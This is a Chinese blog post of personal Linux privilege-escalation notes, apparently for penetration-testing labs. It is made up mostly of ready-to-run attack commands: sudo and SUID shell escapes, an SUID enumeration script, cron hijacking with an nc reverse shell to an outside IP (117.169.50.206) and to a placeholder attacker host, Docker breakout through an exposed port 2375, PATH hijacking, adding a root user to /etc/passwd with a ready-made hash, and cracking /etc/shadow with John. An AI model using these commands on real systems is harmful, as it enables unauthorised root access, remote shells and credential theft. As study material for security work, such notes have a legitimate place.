Linux提权笔记
上传自动化枚举脚本进行提权
[[提权工具]]
sudo提权
[[sudo提权]]
sudo vi/vim提权
sudo vi/vim无需密码时直接进入vi/vim
输入:!/bin/bash 回车可以直接获得root权限
![[Pasted image 20231114124540.png]]
![[Pasted image 20231114124618.png]]
![[Pasted image 20231114124638.png]]
suid提权
suid提权检测脚本(太少了)
- https://github.com/isecurityplus/suidcheck
- https://github.com/Anon-Exploiter/SUID3NUM
- https://github.com/IvanGlinkin/AutoSUID
- https://github.com/isecurityplus/OSCP/tree/master/PostExploit/LinuxPE/SUID/Summary
自写suid提权脚本:
利用来源:
https://gtfobins.github.io/
#!/bin/bash # 定义一个示例数组 array=("7z" "File" "aa-exec" "Shell" "ab" "agetty" "SUID" "alpine" "ansible-playbook" "ansible-test" "aoss" "apache2ctl" "apt-get" "apt" "ar" "aria2c" "Command" "arj" "arp" "as" "ascii-xfr" "ascii85" "ash" "aspell" "at" "atobm" "awk" "aws" "base32" "base58" "base64" "basenc" "basez" "bash" "batcat" "bc" "bconsole" "bpftrace" "Sudo" "bridge" "bundle" "bundler" "busctl" "busybox" "byebug" "bzip2" "c89" "c99" "cabal" "cancel" "capsh" "cat" "cdist" "certbot" "check_by_ssh" "check_cups" "check_log" "check_memory" "check_raid" "check_ssl_cert" "check_statusfile" "chmod" "choom" "chown" "chroot" "clamscan" "cmp" "cobc" "column" "comm" "composer" "cowsay" "cowthink" "cp" "cpan" "cpio" "cpulimit" "crash" "crontab" "csh" "csplit" "csvtool" "cupsfilter" "curl" "cut" "dash" "date" "dc" "dd" "debugfs" "dialog" "diff" "dig" "distcc" "dmesg" "dmidecode" "dmsetup" "dnf" "docker" "dos2unix" "dosbox" "dotnet" "dpkg" "dstat" "dvips" "easy_install" "eb" "ed" "efax" "elvish" "emacs" "enscript" "env" "eqn" "espeak" "exiftool" "expand" "expect" "facter" "file" "find" "finger" "fish" "flock" "fmt" "fold" "fping" "ftp" "gawk" "gcc" "gcloud" "gcore" "gdb" "gem" "genie" "genisoimage" "ghc" "ghci" "gimp" "ginsh" "git" "grc" "grep" "gtester" "gzip" "hd" "head" "hexdump" "highlight" "hping3" "iconv" "iftop" "install" "ionice" "ip" "irb" "ispell" "jjs" "joe" "join" "journalctl" "jq" "jrunscript" "jtag" "julia" "knife" "ksh" "ksshell" "ksu" "kubectl" "latex" "latexmk" "ld.so" "ldconfig" "less" "lftp" "ln" "loginctl" "logsave" "look" "lp" "ltrace" "lua" "lualatex" "luatex" "lwp-download" "lwp-request" "mail" "make" "man" "mawk" "minicom" "more" "mosquitto" "mount" "msfconsole" "msgattrib" "msgcat" "msgconv" "msgfilter" "msgmerge" "msguniq" "mtr" "multitime" "mv" "mysql" "nano" "nasm" "nawk" "nc" "Reverse" "ncdu" "ncftp" "neofetch" "nft" "nice" "nl" "nm" "nmap" "node" "nohup" "npm" "nroff" "nsenter" "ntpdate" "octave" "od" "openssl" "openvpn" "openvt" "opkg" "pandoc" "paste" "pax" "pdb" "pdflatex" "pdftex" "perf" "perl" "perlbug" "pexec" "pg" "php" "pic" "pico" "pidstat" "pip" "pkexec" "pkg" "posh" "pr" "pry" "psftp" "psql" "ptx" "puppet" "pwsh" "python" "rake" "rc" "readelf" "red" "redcarpet" "redis" "restic" "rev" "rlogin" "rlwrap" "rpm" "rpmdb" "rpmquery" "rpmverify" "rsync" "rtorrent" "ruby" "run-mailcap" "run-parts" "runscript" "rview" "rvim" "sash" "scanmem" "scp" "screen" "script" "scrot" "sed" "service" "setarch" "setfacl" "setlock" "sftp" "sg" "shuf" "slsh" "smbclient" "snap" "socat" "socket" "soelim" "softlimit" "sort" "split" "sqlite3" "sqlmap" "ss" "ssh-agent" "ssh-keygen" "Library" "ssh-keyscan" "ssh" "sshpass" "start-stop-daemon" "stdbuf" "strace" "strings" "su" "sudo" "sysctl" "systemctl" "systemd-resolve" "tac" "tail" "tar" "task" "taskset" "tasksh" "tbl" "tcpdump" "tdbtool" "tee" "telnet" "terraform" "tex" "tftp" "tic" "time" "timedatectl" "timeout" "tmate" "tmux" "top" "torify" "torsocks" "troff" "tshark" "ul" "unexpand" "uniq" "unshare" "unsquashfs" "unzip" "update-alternatives" "uudecode" "uuencode" "vagrant" "valgrind" "varnishncsa" "vi" "view" "vipw" "virsh" "volatility" "w3m" "wall" "watch" "wc" "wget" "whiptail" "whois" "wireshark" "wish" "xargs" "xdg-user-dir" "xdotool" "xelatex" "xetex" "xmodmap""xmore" "xxd" "xz" "yarn" "yash" "yelp" "yum" "zathura" "zip" "zsh" "zsoelim" "zypper") # 定义一个变量用于写入 touch .suid_source_file.txt # 遍历数组中的元素并将它们写入文件 traverse_array(){ local index=0 while [ $index -lt ${#array[@]} ]; do echo ${array[$index]} >> .suid_source_file.txt # 将输出追加到文件中 index=$((index + 1)) done } traverse_array echo "-------[FIND SUID...]---------" # 查找SUID文件并提取文件名 suid_files=$(find / -type f -perm -04000 -ls 2>/dev/null | awk -F/ '{print $NF}' | sort -u) # 定义URL和变量名 xiangxi="https://gtfobins.github.io/gtfobins/" # 查找匹配的已知漏洞信息 while read -r file; do match=$(grep -Fx "$file" <(sort .suid_source_file.txt)) if [[ ! -z $match ]]; then echo "[+]易受攻击的$file请查阅:$xiangxi$file" fi done <<< "$suid_files"
什么是suid?
需要用到suid提权,那么就避不开什么是suid了?
SUID代表Set User ID。当一个程序设置了SUID权限,则程序将执行时, 会以文件所有者的身份执行,而不是实际执行者。这 样就可以让普通用户暂时拥有root权限。(用作提权)
rwsr代表具有suid位的文件,也就是赋予普通用户以该文件所有者的身份运行程序
具有suid位文件的权限就像这样(rwsr): -rwsr-xr-x 1 root root 232416 Apr 4 2023 /usr/bin/sudo
赋予文件suid临时root权限
Granting temporary root permissions with SUID 使用 SUID 授予临时根权限
通过suid位给用户临时的root超级用户权限
通过suid进行写入用户获得临时权限
查找和利用 SUID 文件
Linux 权限提升利用的第一步是检查文件: SUID/GUID 位集。
这意味着可以使用一个或多个文件运行 文件所有者/组的权限。
查找 SUID 二进制文件
使用命令:“ ”在文件系统中快速搜索 SUID/GUID 文件。
find / -perm -u=s -type f 2>/dev/null
或者/使用这条命令详细查看权限:
find / -type f -perm -04000 -ls 2>/dev/null
最简约显示(只显示suid位的文件):
find / -type f -perm -04000 -ls 2>/dev/null | awk -F/ '{print $NF}'
让我们分解一下这个命令。
find - 启动“查找”命令 / - 搜索整个文件系统 -perm - 搜索具有特定权限的文件 -u=s - 为文件设置任何权限位模式。以这种形式接受符号模式 -键入 f - 仅搜索文件 2>/dev/null - 禁止显示错误
cpulimit提权(SUID位)
翻目录发现/home/hacksudo/Downloads目录下存在一个suid位文件
![[Pasted image 20240102145559.png]]
百度一下?
发现可以使用一条命令进行提权(写入提权笔记)
./cpulimit -l 100 -f -- /bin/sh -p
suid find提权
普通用户find命令提权
先查看find命令有没有提权的可能
查看find位置:
一般find位置处于/usr/bin/find
which find
查看find命令权限:
该位置为find存在的位置:
ls -l /usr/bin/find
权限分配中具有s权限代表;说明可以用作提权攻击
-rwsr-xr-x. 1 root root 199200 Nov 20 2015 /usr/bin/find # 有s 表示可以提权
- 假如find命令可提权 有s权限位
权限位 u + s
权限为 4xxx
suid位下find执行root权限命令
查看是否可以用root 命令执行命令find which find
-execwhoami ;# 命令解释: 以find 命令 执行 whoami 命令。 # find (一个路径或文件必须存在) -exec 执行命令 (结束);
可以直接执行命令
find /usr/bin/find -exec cat /etc/shadow \; find /usr/bin/find -exec cat /etc/passwd \;
查看影子文件密码
查看普通用户没有权限查看的文件。
使用find进行提权:
/usr/bin/find . -exec /bin/sh -p \; -quit touch 123 /usr/bin/find 123 -exec "/bin/sh" \;
![[Pasted image 20231222205744.png]]
内核提权:
理想情况下,权限提升会导致根权限。这可以 有时只需利用现有漏洞即可实现, 或者在某些情况下通过访问另一个拥有更多 特权、信息或访问权限。
查找内核版本以及发行版本:
uname -a | 查看内核版本 | 以及linux发行版本信息 |
exploit 数据库: |
内核漏洞利用 方法很简单:
1.确定 内核版本
cat /proc/version uname -a
2.搜索和查找 目标系统内核版本的漏洞利用代码
在漏洞利用库查找到的漏洞利用脚本
复制链接使用wget命令将该脚本下载运行到受害机,运行
或者kali本地漏洞库进行搜索
searchsploit "Linux Kernel" searchsploit -m /path/path/exploit.sh #复制漏洞库的exp到本地
3.运行漏洞利用
上传到目标服务器执行利用
不会的话百度搜索xx漏洞利用
计划任务提权
查看调度了哪些 cron 作业
cat /etc/crontab
cron格式
Cronjobs 以某种格式存在,如果您想利用 cron 作业,能够读取该格式很重要。
# = ID
m = 分钟
h = 小时
dom = 月份中的某天
星期一 = 月
道琼斯指数 = 星期几
user = 命令将以哪个用户身份运行
命令 = 应运行哪个命令
例如
m h dom mon dow 用户命令
17 * 1 * * * 根 cd / && run-parts --report /etc/cron.hourly
我们如何利用这一点?
我们从LinEnum扫描中得知,user4桌面上的文件 autoscript.sh 计划每五分钟运行一次。
它 归 root 所有,这意味着它将以 root 权限运行,尽管我们可以写入此文件。
然后的任务是创建一个命令,该命令将返回一个 shell 并粘贴 它在此文件中。
当文件在五分钟后再次运行时,shell 将 以根用户身份运行。
cat /etc/crontab 查看定时任务
可以看到该文件是最高权限root,并且每五分钟执行一次,可以对文件进行修改,执行,进行提权
到msfconsole中为cron漏洞创建一个有效负载
生成有效负载
mkfifo /tmp/prcssr; nc 117.169.50.206 8888 0</tmp/prcssr | /bin/sh >/tmp/prcssr 2>&1; rm /tmp/prcssr
写入可执行文件:
echo 'mkfifo /tmp/prcssr; nc 攻击机IP 8888 0</tmp/prcssr | /bin/sh >/tmp/prcssr 2>&1; rm /tmp/prcssrr' > /home/user4/Desktop/autoscript.sh
攻击机监听:
nc -lvnp 8888 等待可执行文件自动执行,攻击机监听8888端口
python提权
webshell提权至低权限反弹shell
opensystem模块 os模块进行权限提升:
可以写入可执行文件
sudo python3 -c 'import os; os system("/bin/sh")'
python升级反弹shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
docker提权
利用docker2375端口
2375端口是docker开放的远程管理接口,一般用于测试环境中,没有任何加密和认证过程,只要知道IP和端口,任何人都已查看其内容;详细信息:
查看远程docker镜像
docker -H tcp://ip images
查看远程docker正在运行镜像
docker -H tcp://ip:2375 ps
远程docker一句话提权
docker -H tcp://ip:2375 exec -it content_wordpress_1 /bin/bash
docker一句话提权
命令:
docker run -v /:/mnt -it alpine
path变量提权
什么是path?
$PATH是一个环境 变量在 Linux 和类 Unix 操作系统中指定保存可执行程序的目录。
当用户在终端中运行任何命令时,它会在 PATH 变量的帮助下搜索可执行文件 响应用户执行的命令。
借助命令“echo $PATH”查看相关用户的路径非常简单。
这如何让我们提权?
假设我们有一个suid的二进制文件,运行他可以看到我们正在调用系统shell来执行一个过程列如使用“ps”列出进程。与我们前面的 SUID 示例不同,在这种情况下,我们无法通过为 command 提供参数来利用它 注入,那么我们能做些什么来尝试利用这一点呢?
答:我们可以将 PATH 变量重写到我们选择的位置!
因此,当 SUID 二进制文件调用系统 shell 来运行可执行文件时,
它会运行我们编写的可执行文件!
与任何 SUID 文件一样,它将以与 SUID 文件所有者相同的权限运行此命令!如果这是 root,使用此方法我们可以运行我们喜欢的任何命令作为 root!
演示:
有一个可执行文件为suid位运行后,是使用命令集合等
让我们转到 user5 的主目录,并运行文件 “script”。我们认为它正在执行什么命令?
Ls
现在我们知道要模仿什么命令了,让我们将目录更改为“tmp”。
cd /tmp
现在我们在 tmp 中,让我们创建一个模仿可执行文件。我们想要做的格式是:
echo [我们要运行的任何命令] > [我们正在模仿的可执行文件的名称]
打开 bash shell 的命令是什么样子的,写入具有我们正在模仿的可执行文件名称的文件
echo '/bin/bash' > ls
伟大!现在我们已经做了我们的模仿,我们需要让它成为一个可执行文件。我们执行什么命令来执行此操作?
chmod +x ls
现在,我们需要更改 PATH 变量,以便它指向存储模拟“ls”的目录!
我们使用命令“export PATH=/tmp:$PATH”来执行此操作
export PATH=/tmp:$PATH
请注意,这将导致您每次使用“ls”时打开 bash 提示。如果在完成漏洞利用之前需要使用“ls”,请在真正的“ls”可执行文件所在的位置使用“/bin/ls”。原本的ls失效了替换成了/bin/ls
一旦你完成了漏洞利用,你可以退出root并使用“
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$PATH
”将PATH变量重置回默认值,让你再次使用“ls”!(重置变量)
现在,将目录更改回 user5 的主目录。
现在,再次运行“脚本”文件,您应该被发送到根 bash 提示符!祝贺!
再次运行原脚本进行提权
./script
可写/etc/passwd
利用可写的 /etc/passwd
继续枚举用户,我们发现 user7 是 gid 为 0 的根组的成员。
我们已经从LinEnum扫描中知道/etc/passwd文件对用户来说是可写的。
因此,根据这一观察,我们得出结论,user7 可以编辑 /etc/passwd 文件。
什么是 /etc/passwd?
/etc/passwd 文件存储基本信息,即 登录时需要。换句话说,它存储用户帐户 信息。/etc/passwd 是一个纯文本文件。它包含一个列表 系统的帐户,为每个帐户提供一些有用的信息 如用户 ID、组 ID、主目录、外壳等。
/etc/passwd 格式
/etc/passwd 文件每行包含一个条目,用于系统的每个用户(用户帐户)。
所有字段都用冒号分隔:符号。
共七个字段如下
通常,/etc/passwd 文件条目如下所示:
test:x:0:0:root:/root:/bin/bash
[除以冒号(😃]
- 用户名:用户登录时使用。它的长度应介于 1 到 32 个字符之间。
- 密码: x 字符表示加密的密码存储在 /etc/shadow 文件。请注意,您需要使用 passwd 命令来 计算在 CLI 中键入的密码的哈希值或存储/更新 /etc/shadow 文件中的密码哈希,在这种情况下,密码哈希存储为“x”。
- 用户标识(用户界面): 必须为每个用户分配一个用户 ID (UID)。保留 UID 0(零) 对于根和 UID,1-99 保留给其他预定义帐户。 进一步的UID 100-999由系统保留用于管理和系统 帐户/组。
- 组 ID (GID):主组 ID(存储在 /etc/group 文件中)
- 用户 ID 信息: 注释字段。它允许您添加有关 用户,例如用户的全名、电话号码等。此字段使用者 手指命令。
- 主目录:绝对 用户登录时所在的目录的路径。如果这个 目录不存在,则用户目录变为 /
- 命令/外壳: 命令或外壳的绝对路径 (/bin/bash)。通常,这是 一个贝壳。请注意,它不一定是外壳。
如何利用可写的 /etc/passwd
其实很简单,如果我们有一个可写的 /etc/passwd 文件,我们可以根据上面的公式编写一个新的行条目并创建
一个新用户!我们添加我们选择的密码哈希,并将 UID、GID 和 shell 设置为 root。
允许我们以自己的根用户身份登录!
公式:
username:passwordhash:0:0:root:/root:/bin/bash
可写/etc/passwd步骤:
创建密码hash
- 在添加新用户之前,我们首先需要创建一个兼容的密码哈希来添加!我们通过使用以下命令来做到这一点:
生成账户与密码哈希命令:“openssl passwd -1 -salt [salt] [password]”
用户名为:new 密码为:123 命令: openssl passwd -1 -salt new 123
生成密码hash 1$new$p7ptkEKU1HnaHpRtzNizS1
2.修改/etc/passwd文件
vi /etc/passwd
写入
套公式
new:passwordhash:0:0:root:/root:/bin/bash 用户名加密码hash
写入:
new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
一键写入命令:
echo 'new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash' >> /etc/passwd
/etc/shadow影子文件破解
影子文件介绍:
/etc/shadow 文件是 Linux 机器上存储密码哈希的文件。 它还存储其他信息,如上次密码更改的日期和密码到期信息。 它包含一个条目 系统的每个用户或用户帐户的每行。此文件通常只能由 root 用户访问 - 因此为了获得哈希,您必须拥有足够的权限,但如果您这样做 - 您将有机会破解一些哈希。
1.第一步骤去除shadow
Unshadowing
出于这个原因,John 可以非常讲究它需要数据的格式,以便能够使用它 - 为了破解 /etc/shadow 密码,
您必须将其与 /etc/passwd 文件相结合,以便 John 理解它给出的数据。
为此,我们使用 John 工具套件中内置的工具,称为 unshadow。unshadow 的
基本用法如下:
将passwd文件和shadow文件导出,然后unshadowed
命令: unshadow local_passwd local_shadow > unshadowed.txt(格式转换)
2.第二步骤破解hash密码
我们不需要在这里指定哈希格式,因为我们已经专门为 John 做了输入处理(使用unshadow处理)
,但是在某些情况下,你仍然需要指定哈希格式:
--format=sha512crypt (格式为sha512crypt)(这一步进行破解)
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt unshadow.txt
总结两步骤:
1.去除shadow
unshadow /etc/passwd /etc/shadow > unshadowed.txt
2.破解
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
脏牛本地提权
受影响系统内核版本:Linux kernel >2.6.22
(2007年发行,直到2016年10月18日才修复)
漏洞编号:CVE-2016-5195
提权为root权限的EXP一: https://github.com/FireFart/dirtycow
漏洞概述:
Linux内核的内存子系统的get_user_page内核函数在处理Copy-on-Write(写时拷贝,以下使用COW表示)的过程中,存在条件竞争漏洞,导致可以破坏私有只读内存映射。
一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,
有可能进一步导致提权漏洞(修改su或者passwd程序就可以达到root的目的)
漏洞复现环境:linux提权靶场
初始登录到
linux提权靶场
初始账户:bob/secret
ssh bob@192.168.153.232
本文来自博客园,作者:jxrj-steve,转载请注明原文链接:https://www.cnblogs.com/jxrj-steve-wm/p/17977909
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通